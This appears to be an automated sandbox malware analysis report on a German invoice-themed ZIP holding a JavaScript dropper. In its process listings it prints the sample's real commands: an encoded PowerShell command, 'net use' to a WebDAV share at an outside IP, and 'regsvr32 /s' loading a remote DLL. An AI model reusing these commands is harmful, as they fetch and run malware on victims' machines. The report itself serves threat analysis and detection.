Malware Analysis Report

2024-12-07 17:08

Sample ID 241113-kcy2jaydpl
Target Vertragsrechnung 242220001421.zip
SHA256 1ccf0573064adda2adc3815b2ec999c3d0dd6fbe926ffa9922ff58a66e33c25b
Tags
defense_evasion execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

1ccf0573064adda2adc3815b2ec999c3d0dd6fbe926ffa9922ff58a66e33c25b

Threat Level: Shows suspicious behavior

The file Vertragsrechnung 242220001421.zip was found to be: Shows suspicious behavior.

Malicious Activity Summary

defense_evasion execution

Checks computer location settings

Obfuscated Files or Information: Command Obfuscation

Enumerates physical storage devices

Command and Scripting Interpreter: JavaScript

Suspicious behavior: EnumeratesProcesses

Delays execution with timeout.exe

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 08:28

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 08:28

Reported

2024-11-13 08:30

Platform

win7-20241023-en

Max time kernel

119s

Max time network

120s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\23336200442939732134.js

Signatures

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2844 wrote to memory of 1844 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2844 wrote to memory of 1844 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2844 wrote to memory of 1844 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1844 wrote to memory of 2856 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 1844 wrote to memory of 2856 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 1844 wrote to memory of 2856 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 1844 wrote to memory of 2624 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1844 wrote to memory of 2624 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1844 wrote to memory of 2624 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2624 wrote to memory of 2644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2624 wrote to memory of 2644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2624 wrote to memory of 2644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 1844 wrote to memory of 2700 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1844 wrote to memory of 2700 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1844 wrote to memory of 2700 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2748 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2700 wrote to memory of 2748 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2700 wrote to memory of 2748 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2700 wrote to memory of 2748 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2700 wrote to memory of 2748 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\23336200442939732134.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA3ADYAOQA4ADEAMQA1ADUANwA5ADUAMwAxAC4AZABsAGwA

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\7698115579531.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\7698115579531.dll

Network

N/A

Files

memory/1844-4-0x000007FEF584E000-0x000007FEF584F000-memory.dmp

memory/1844-5-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

memory/1844-6-0x000000001B660000-0x000000001B942000-memory.dmp

memory/1844-7-0x0000000002870000-0x0000000002878000-memory.dmp

memory/1844-8-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

memory/1844-9-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

memory/1844-10-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 08:28

Reported

2024-11-13 08:30

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

150s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\23336200442939732134.js

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\23336200442939732134.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA3ADYAOQA4ADEAMQA1ADUANwA5ADUAMwAxAC4AZABsAGwA

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\7698115579531.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\7698115579531.dll

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

memory/4592-0-0x00007FFE584C3000-0x00007FFE584C5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3r5tj53v.iln.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4592-3-0x0000019994120000-0x0000019994142000-memory.dmp

memory/4592-11-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

memory/4592-12-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

memory/4592-15-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp